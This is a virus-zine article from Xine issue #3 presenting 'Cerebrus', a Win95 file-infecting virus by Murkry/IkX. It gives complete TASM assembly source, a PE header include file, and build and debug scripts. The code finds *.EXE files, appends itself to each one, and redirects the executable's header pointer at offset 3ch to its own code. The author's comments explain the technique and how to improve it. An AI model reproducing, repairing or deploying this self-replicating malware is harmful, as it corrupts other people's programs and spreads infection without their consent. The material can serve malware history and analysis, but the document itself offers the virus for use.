Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 201
/-----------------------------\
| Xine - issue #3 - Phile 201 |
\-----------------------------/
;
;
; Cerebrus, by Murkry/IkX
;
;
;
; this virus is a beta test of an idea I have heard and read about,
; but had never tried. What it does is append its own code to the end of the
; host file and then alter the NEW HEADER pointer at 3ch to point to itself.
; While this virus does work, because of a few mistakes I made the infected
; file will not have any icons associated with it. There are several ways
; around this. But my next attempt at one of these would actualy be larger
; I would just copy the virus in memory to the end of the host. This way I
; would not need to write the internal info and would let Win95 handle it all.
; I actual code the Import data table into the virus this is for size
; consideration . While I still like the idea for this virus the main reason
; I wanted to try it was to try out some code I read about that would mark a
; file as Erase on CLose (or something like that). It describes a self erasing
; file like maybe a Setup program runs once never again. But the idea seems
; like it would only work in NT not 95 at least in my tests.
; Another thing I found was that while MS pushes us to use the Win32
; CreateProc.. and not WinExec. CreateP will only run PE files while WinExec
; will run dos/NE/PE files. So someone could write this so that it infect all
; those files but would only spread under Win95, in DOS the orginal Dos program
; would be called, In 3.11 you would see the dos error msg, and in Win95 all
; the programs would infect and run ok.
; In testing this virus works well 'cept for a few little things, like other
; virus that modify the New Header offset it will make the icons vanish since
; the .rscr section is now "lost". A second thing I believe (know) is that
; since I use an internal .idata structure and I only have one of the pntrs to
; the API in it, yet after the first Generation this pntr is overwritten with
; the address of the API call itself. Actually I am sorta surprised this did
; not cause an error, I guess in Win95 it thinks its bound already and leaves
; it alone. Hmm some of you know what I mean others, I sure are lost, ;) sorry.
; Anyway you can fix this in two ways, one easier than the other depending on
; who you talk to. 1 keep the other refrence to the api name, 2 have a routine
; that fixes this before you write the virus to another host.
; Anyway, despite the problems with this version of the virus I beleive that
; this method with some changes could be very viable in the Win32 enviroment.
;
; To compile use the mk.bat file.
;
; The other file 1.inc is just some header info I used after I finished this
; virus I realize I really did not need to do all that work, but for those of
; you who are curios about the PE header examine away.
; Murkry
.386
.model flat, stdcall
True equ 1
False equ 0
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FATTR_NORMAL equ 0
OPEN_EXISTING equ 3
;File is setup so that there will be 2 PE headers we use debug or
; some tool to set the MZ 3ch to point to our second PE header
; then when run the PE part could be append to the other PE files
; and infect in that matter the only parts that need to be alter
; in the section header
; Pter to Raw Data
LoadAT equ 01000h
offs equ offset PEheader ;+ LoadAT + 400000h
; - offset PEheader + LoadAT + 400000h
;Define the needed external functions and constants here.
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn CreateProcessA:PROC
.data ;the data area
dummy dd ? ;tasm needs some data or it won't work!
.code ;executable code starts here
include 1.inc
CodeSect db 'CODE',0,0,0,0
CodeVSize dd 0000e000h ;
CodeVAddr dd LoadAT ;
CodeSzRawData dd 00000800h ;
CodePtrRwData dd 00000600h ;where the code for this section is
dd 00000000h
dd 00000000h
dw 0000h
dw 0000h
CodeChar dd 0A0000060h ;6000 0020
RescSect db '.rsrc',0,0,0
dd 00002000H ;
dd 0E000h;LoadAT + 0e000h ;
dd 00001600h ;
dd 00000200h ;where the code for this section is
dd 00000000h
dd 00000000h
dw 00h
dw 00h
db 40h,00,00,40h
dd 0000h
CDseg:
IDATA:
DD 0 ; usual this has a redunat entry
;We are skipping it
; offset API_LOC1 - offset PEheader + LoadAT
dd 0 ;time date stamp
dd 0 ;where in memory this dll is loaded
DD offset DLL1 - offset PEheader + LoadAT
DD offset API_LOC2 - offset PEheader + LoadAT
DD 0 ; usual this has a redunt entry
;We are skipping it
; offset API_LOC1 - offset PEheader + LoadAT
dd 0 ;time date stamp
dd 0 ;where in memory this dll is loaded
DD offset DLLA - offset PEheader + LoadAT
DD offset API_LOC2A - offset PEheader + LoadAT
DD 00000000H
DB 10H DUP(0)
API_LOC2 DD offset FUNC1 - offset PEheader + LoadAT ;
beep DD offset FUNC2 - offset PEheader + LoadAT ;4h
VxdCall0 DD 80000001h ;8h
getcomline DD offset FUNC3 - offset PEheader + LoadAT ;Ch
createp DD offset FUNC4 - offset PEheader + LoadAT ;10h
Copy DD offset FUNC5 - offset PEheader + LoadAT
Create DD offset FUNC6 - offset PEheader + LoadAT
FileP DD offset FUNC7 - offset PEheader + LoadAT
Read DD offset FUNC8 - offset PEheader + LoadAT
Write DD offset FUNC9 - offset PEheader + LoadAT
Close DD offset FUNC10 - offset PEheader + LoadAT
FindFirst DD offset FUNC11 - offset PEheader + LoadAT
FindNext DD offset FUNC12 - offset PEheader + LoadAT
CloseFind DD offset FUNC13 - offset PEheader + LoadAT
FileSize DD offset FUNC14 - offset PEheader + LoadAT
WinEx DD offset FUNC15 - offset PEheader + LoadAT
DD 0
MsgBox:
API_LOC2A DD offset FUNCA - offset PEheader + LoadAT
DD 0
DLL1 DB 'KERNEL32.dll',0
DLLA DB 'USER32',0
dw 0 ;ends dll names
FUNC1 dw 0
db 'ExitProcess',0
FUNC2 dw 0
DB 'Beep',0
FUNC3 dw 0
DB 'GetCommandLineA',0
FUNC4 dw 0
db 'CreateProcessA',0
FUNC5 dw 0
db 'CopyFileA',0
FUNC6 dw 0
db 'CreateFileA',0
FUNC7 dw 0
db 'SetFilePointer',0
FUNC8 dw 0
db 'ReadFile',0
FUNC9 dw 0
db 'WriteFile',0
FUNC10 dw 0
db 'CloseHandle',0
FUNC11 dw 0
db 'FindFirstFileA',0
FUNC12 dw 0
db 'FindNextFileA',0
FUNC13 dw 0
db 'FindClose',0
FUNC14 dw 0
db 'GetFileSize',0
FUNC15 dw 0
db 'WinExec',0
db 0 ;end of Function list for this DLL
FUNCA dw 0
db 'MessageBoxA',0
dw 0
db 0 ;end the function list
db 0 ;end the DLL list
EndIDATA:
Begin:
Call Beep
;-------------------------------------------------------------
;this API returns the call with " " so we now move this name only
;to our buffer excluding the " " and adding the 0 at the end
call dword ptr [getcomline]
xchg esi,eax
inc esi
mov edi,offset filename
push edi ;save pointer to the orginal filename
GetLoop:
lodsb
cmp al,'"'
je AllDone
stosb
jmp GetLoop
AllDone:
xor eax,eax
stosb
;get the command line in case we need it
mov edi, offset pCommandLine
GetLine:
lodsb
stosb
cmp al,0
jne GetLine
;-------------------------------------------------------------
;Now make the file name into something we can use
pop esi ;pnter to the current file name
push esi
mov Edi,offset tempfile
TempFile:
lodsb
stosb
cmp al,'.'
jne TempFile
xor eax,eax
;MOV EAX,004D4F43H ;00'MOC'
mov eax, 00455645h ;00'EVE'
stosd
;-------------------------------------------------------------
pop edi ;the host file
;--------------------------------------------------------------
;Copy the file to another name
Call dword ptr [offset Copy] , edi, offset tempfile ,large False
or eax,eax
jz ErrorFile
;--------------------------------------------------------------
;Open the File r/w using Create file
Call dword ptr [Create] , offset tempfile, GENERIC_READ or GENERIC_WRITE, \
large 0, large 0, large OPEN_EXISTING, large 0,large 0
mov dword ptr [fHandle],eax
;--------------------------------------------------------------
;Move Pointer to the 3ch and fix the pointer to old PE file
Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0
;for debuggin
; pusha
; mov edi,dword ptr [OldOff]
; call ConvertIt
; Call dword ptr [MsgBox] , large 0, offset tempfile , offset numb
; ,large 1
; popa
;end for debuggin
;--------------------------------------------------------------
;Write to the file using Write
Call dword ptr [Write], [fHandle],offset OldOff,large 4, \
offset NumRead, large 0
;--------------------------------------------------------------
;Close the file
Call dword ptr[Close],[fHandle]
;--------------------------------------------------------------
;Run the file using CreateProcess
Call dword ptr [createp], \
offset tempfile, \ ;module name
offset blank, \ ;command line
large 0, \ ;sec attr
large 0, \ ;thread sec
Large False, \ ;inherit handles
large 0, \ ;create flags
large 0, \ ;Enviroment
large 0, \ ;current directory
offset StartupInfo, \ ;startup info
offset ProcessInfo \ ;process info
;---------------------------------------------------------------------------
;Run the file using Winexec
; Call dword ptr [WinEx], offset tempfile, large 1
;
; Call dword ptr[Close],EAX
;---------------------------------------------------------------------------
;Now try to infect a new file
;1 find file
;2 open the file
;3 make sure its a even 200h boundary alter if needed
;4 modifiy the ptr to raw data in the .Code section
; write the new end to the file
;5 goto top of file then modify 3ch offset to point to the new location
;
;---------------------------------------------------------------
;1 First find a file
Call dword ptr [FindFirst], offset NewHost, offset FindData
cmp eax,-1
je ErrorFile
mov dword ptr [hfindFile] ,Eax
jmp GotOne
CloseFileTry:
Call dword ptr[Close],[fHandle]
tryfornext:
Call dword ptr [FindNext], [hfindFile], offset FindData
or eax,eax
jnz GotOne
Call dword ptr[CloseFind],[hfindFile]
jmp ErrorFile
GotOne:
;---------------------------------------------------------------
;Open the File r/w using Create file
Call dword ptr [Create] , offset fName, GENERIC_READ or GENERIC_WRITE, \
large 0, large 0, large OPEN_EXISTING, large 0,large 0
mov dword ptr [fHandle],eax
cmp eax,-1
je tryfornext
;---------------------------------------------------------------
;Get the file size and figure if we need to round it up to a 200h offset
;
call dword ptr [FileSize] , [fHandle],large 0
cmp eax,-1
je CloseFileTry
mov dword ptr[SizeOfFile],eax
dec eax
mov ecx,200h
add eax,ecx
XOR EDX,EDX
div ecx
mul ecx
mov [CodePtrRwData],eax ;holds the new file size
;--------------------------------------------------------------
;Read from the
Call dword ptr [Read] , \
[fHandle], \ ;handle
offset buffer, \ ;where to read to
100h, \ ;how much to read
offset NumRead, \ ;how much was read
large 0 ;overlapped amount not used win95
or eax,eax
jz CloseFileTry
mov ebx,offset buffer
cmp word ptr[ebx],'ZM'
jne CloseFileTry ;Get next file
cmp dword ptr [ebx + 3ch],0
je CloseFileTry
cmp dword ptr [ebx + 3ch],100h
jg CloseFileTry
mov eax,dword ptr[ebx + 3ch]
mov dword ptr [OldOff],eax
;--------------------------------------------------------------
;Move Pointer to the endf of the file
Call dword ptr [FileP] , [fHandle], large 0, large 0, large 2
; file end
;--------------------------------------------------------------
;Get how many bytes to add to the file
mov eax,dword ptr [CodePtrRwData] ; holds what the new file size
sub eax,dword ptr [SizeOfFile]
;--------------------------------------------------------------
;Write that many bytes to the end of the file
;Write to the file using Write
Call dword ptr [Write], \
[fHandle], \ ;file handle
offset OldOff, \ ;where to write from
eax, \ ;how many to write
offset NumRead, \ ;how many bytes were writen
large 0 ;overlapped not used in win95
;--------------------------------------------------------------
;Write to the file using Write
Call dword ptr [Write], \
[fHandle], \ ;file handle
offset PEheader, \ ;where to write from
OFFSET filename - offset PEheader, \ ;how many to write
offset NumRead, \ ;how many bytes were writen
large 0 ;overlapped not used in win95
;--------------------------------------------------------------
;Move Pointer to the TOPF of the file
Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0
;--------------------------------------------------------------
;Write the new offset at 3ch
Call dword ptr [Write], \
[fHandle], \ ;file handle
offset CodePtrRwData, \ ;where to write from
large 4 , \ ;how many to write
offset NumRead, \ ;how many bytes were writen
large 0 ;overlapped not used in win95
;--------------------------------------------------------------
;close the file
Call dword ptr[Close],[fHandle]
;---------------------------------------------------------------------------
;Call dword ptr [MsgBox] , large 0,offset tempfile, offset filename ,large 1
ErrorFile:
K32ExitP:
Call dword ptr ds:[offset API_LOC2 ] ,-1
;--------------------------------------------------------
Beep:
call dword ptr ds:[offset beep ] ,eax,eax
ret
;=====================================================================
;ConvertIt takes a number in Edi and Converts it to Readable and Stores it
; in the location Pointed at by Esi
;
;Input
;Edi What number we want to convert to hexdecial readable
;Esi Where it will be placed When Done
;
;
ConvertIt:
mov esi,offset numb
PushA
push Edi
xchg Edi,Esi
mov cx,1ch
digit_loop:
pop Eax
push Eax
shr Eax,Cl
and ax,000fh
sub cx,4
cmp al,9
jle number
sub al,0ah
add al,41h
jmp letter
number:
or al,30h
letter:
stosb
cmp cx,0fffCh
jne digit_loop
mov al,0
stosb
pop edi
PopA
Ret
;===================================================================
MURK DB 'MURKRY/IkX',0
VIRII DB 'CEREBRUS',0
info DB 'The three head guardian, is in your computer, fear no more',0
numb dd ?
blank db ' ',0
OldOff dd 100h
NewHost db '*.EXE',0
victim db 'Notepad.exe',0 ;in real virus this would be in the
;find file info
filename db 256D dup (?)
tempfile db 256D dup (?)
hfindFile dd ? ;
fHandle dd ?
NumRead dd ?
pCommandLine db 256D DUP(?)
FindData:
fileattr dd ? ; DWORD dwFileAttributes; ;00 00 00 00
fCreat dd 2 dup(?) ; FILETIME ftCreationTime; ;DD ?,? ;
fAccess dd 2 dup(?) ; FILETIME ftLastAccessTime; ;DD ?,? ;
fWrite dd 2 dup(?) ; FILETIME ftLastWriteTime; ;DD ?,? ;
fsizelow dd ? ; DWORD nFileSizeHigh; ;
fsizehigh dd ? ; DWORD nFileSizeLow; ;
fresv1 dd ? ; DWORD dwReserved0; ;
fresv2 dd ? ; DWORD dwReserved1; ;
fName db 255d dup(?) ; CHAR cFileName[MAX_PATH]; 255B ;
fdosname db 14d dup(?) ; CHAR cAlternateFileName[ 14 ]; ;
SizeOfFile dw ?
FleHdle dd ?
ProcessInfo dd 4h dup(?)
StartupInfo dd 18h dup(?)
buffer db ?
;-------------
ttle db 'Hello',0
msg db 'from host',0
CodeEnds:
Call MessageBoxA, large 0, offset ttle, offset msg, large 1
push -1
Call ExitProcess
end CodeEnds
;---[1.INC]--------------------------------------------------------------------
;1.inc
PEheader db 'PE',0,0 ;200
Machine dw 014ch
NumSect dw 0002h ;Seems Win95 does check this but if
; there is a Section Header entry
; it will load that section or as
; many sections as there are entries
; in other words it loads till
; the next section header is 0000h
; or it has load the NumSect
TimeDate dd 6f052098h
PtrSymTble dd 00000000h
Numsymbols dd 00000000h
SizeOpHder dw 00e0h
Char dw 818eh
Magic dw 010bh
LinkerVer dw 1902h
SiZeOfCOde dd offset CodeEnds - offset PEheader
SizeOfInitData dd 00003000h
SizeOfUnintdata dd 000000000
EntryPoint dd offset Begin - offset PEheader + LoadAT
BaseCode dd 00400000h
BaseData dd 00400000h
ImageBase dd 00400000h
SectionAlign dd 00001000h
FileAlign dd 00000200h
OsMajor dw 0001h
Osminor dw 0000h
UseMajor dw 0000h
UseMinor dw 0000h
SubSysMajor dw 0003h
SubSysMinor dw 000Ah
dw 0000h
dw 0
ImageSize dd 00010000h
HeaderSize dd offset CDseg - offset PEheader
FileCheck dd 0h ;checksum
Subsystem dw 0002h
DllFlag dw 0000h
StackRes dd 00100000h
StackComm dd 00002000h ;60
HeapRes dd 00100000h
Heapcomm dd 00001000h
LoaderFlag dd 00000000h
NumberRVA dd 00000010h ;<this determines how big the
;the next chunk of code is according
; to the docs but even put zero
;here you could crash if you put
; anything in those fields
; Win95 does not check this field
; at least it appears this way
; also the rva do not need to be at
; section alignemnt for the next bit
; of whats is id'd as RVA's
ExprtRva dd 00000000h
TotExpSze dd 00000000h
;Take this we are pointing this to a section alignment but you do not have to
;do this it can point anywhere as long as the structure it expects to see is
; there
ImprtRva dd offset IDATA - offset PEheader + LoadAT
TotImpSze dd offset EndIDATA - Offset IDATA
;-----------------------------------------------------------
ResRva dd 0000000h
TotResSze dd 0000000h
ExcpRva dd 00000000h
TotEcpSze dd 00000000h
SecRva dd 00000000h
TotSecSze dd 00000000h
FixUpRva dd 00000000h
TotFixSze dd 00000000h
DebugTble dd 00000000h
TotDebug dd 00000000h
ImagDesc dd 00000000h
TotDescSze dd 00000000h
MachSpec dd 00000000h
MachSpecSze dd 00000000h
ThreadLocal dd 00000000h
ThreadLSze dd 00000000h
db 30h dup (0)
; the PE header must be f8 in size this is where it starts
; to load the sections
;
;---[MK1.BAT]------------------------------------------------------------------
del h1.exe
tasm32 /ml /m4 cerebrus,,;
tlink32 /Tpe /aa /c /v cerebrus,cerebrus,, import32.lib,
copy cerebrus.exe host1.s
debug <d1.scr
del cerebrus.exe
ren h1.s cerebrus.exe
del host1.s
del *.obj
del *.map
;---[D1.SCR]-------------------------------------------------------------------
nhost1.s
l
e13d
6
nh1.s
w
q